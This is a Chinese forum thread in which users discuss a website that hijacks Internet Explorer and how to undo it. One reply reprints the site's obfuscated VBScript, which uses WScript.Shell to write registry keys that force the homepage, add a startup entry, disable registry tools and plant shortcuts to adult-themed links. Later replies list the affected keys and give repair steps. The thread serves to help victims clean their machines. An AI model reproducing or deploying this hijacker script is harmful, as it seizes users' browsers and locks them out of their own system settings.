遇上了超恶毒修改IE网站

[jerom]

发现一超恶毒网站, 经多个IE清理工具锄不去, 消掉后隔一段时间后又发作, 应该是驻留了程序在WINDOWS. NORTON 发现了脚本制止执行后照样起作用. IE主页被修改增加他的网页连接到个人收藏夹, 实在烦人, 望高人帮忙除去, 连接是 http://movie.59fun.com 请不要轻易尝试.

 

[TTSONIC]

什么症状？我上了，还活着呢。。。

 

[苦逼热狗]

******>
******** id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
******** LANGUAGE="********">
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\St"&"ar"&"t Pa"&"ge", "http://movie.59fun.com"
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\St"&"ar"&"t Pa"&"ge", "http://movie.59fun.com"
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\Se"&"arch Pa"&"ge", "http://movie.59fun.com"
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\def"&"ault_p"&"age_ur"&"l", "http://movie.59fun.com"
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Typ"&"edURLs\ur"&"l1","http://movie.59fun.com"
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Typ"&"edUR"&"Ls\ur"&"l2","http://movie.59fun.com"
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ty"&"pedU"&"RL"&"s\u"&"rl3","http://movie.59fun.com"
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\Fi"&"rst Ho"&"me Pa"&"ge","http://movie.59fun.com"
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\Fir"&"st H"&"om"&"e Pa"&"ge","http://movie.59fun.com"
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Policies\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Co"&"ntr"&"ol Pa"&"ne"&"l\H"&"ome"&"Pa"&"ge","1","REG_DWORD"
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\Wi"&"ndo"&"ws\C"&"urr"&"entVe"&"rsi"&"on\R"&"un\IE"&"XPL"&"ORE.EXE", "IEXPLORE.EXE http://movie.59fun.com"
wsh.RegWrite "HK"&"C"&"U\So"&"ft"&"wa"&"re\Mic"&"ro"&"sof"&"t\Wi"&"ndo"&"ws\Cur"&"ren"&"tVe"&"rs"&"ion\Pol"&"ici"&"es\Sy"&"s"&"te"&"m\Dis"&"abl"&"eRe"&"gis"&"tr"&"yToo"&"ls","1","REG_DWORD"
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\Win"&"dow Tit"&"le", "--欢迎访问 movie.59fun.com--"
window.close
**********>
******** LANGUAGE="********">
on error resume next
Call LongFei_AddFavorites("【激情电影】","http://movie.59fun.com")
Call LongFei_AddFavorites("【上万首音乐】","http://movie.59fun.com/")

on error resume next
Call LongFei_AddDesktop("娱乐明星网","http://movie.59fun.com/top.htm")
Call LongFei_AddDesktop("上万首音乐","http://movie.59fun.com/top.htm")

on error resume next
Call LongFei_AddQuickLaunch("[娱乐明星网]","http://movie.59fun.com/")
Call LongFei_AddQuickLaunch("[情色电影免费]","http://movie.59fun.com/top.htm")

Function LongFei_AddFavorites(N, U)
on error resume next
Set S = wsh.CreateShortcut(wsh.SpecialFolders("Favorites") + "/" + N +".URL")
S.TargetPath = U
S.Save()
Set Sl = wsh.CreateShortcut(wsh.SpecialFolders("Favorites") + "/链接/" + N +".URL")
Sl.TargetPath = U
Sl.Save()
End Function

Function LongFei_AddDesktop(N, U)
on error resume next
Set S = wsh.CreateShortcut(wsh.SpecialFolders("AllUsersDesktop") + "/" + N +".URL")
S.TargetPath = U
S.Save()
End Function

**********>
******** language="JavaScript">
function closeit() {
setTimeout("self.close()",5)
}
closeit()
**********>
********>

 

[苦逼热狗]

HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://movie.59fun.com"
HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://movie.59fun.com"
HKCU\Software\Microsoft\Internet Explorer\Main\Search Page", "http://movie.59fun.com"
HKCU\Software\Microsoft\Internet Explorer\Main\default_page_url", "http://movie.59fun.com"
HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url1","http://movie.59fun.com"
HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url2","http://movie.59fun.com"
HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url3","http://movie.59fun.com"
HKCU\Software\Microsoft\Internet Explorer\Main\First Home Page","http://movie.59fun.com"
HKCU\Software\Microsoft\Internet Explorer\Main\First Home Page","http://movie.59fun.com"
HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage","1","REG_DWORD"
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IEXPLORE.EXE", "IEXPLORE.EXE http://movie.59fun.com"
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD"
HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "--欢迎访问 movie.59fun.com--"

 

[苦逼热狗]

你要做的事情是
1.找工具把注册表激活，因为他被锁死了
2.修改注册表里头的这些键值

 

[TTSONIC]

兔子可以改回来，启动兔子修理专家，然后把里边关于IE的都修复一次就OK，兔子还有个IE保护器，在“开机自动运行”打钩。。。

 

[Rabbit]

啥，我啥也没有 :blink:

:smoke: :smoke: :smoke: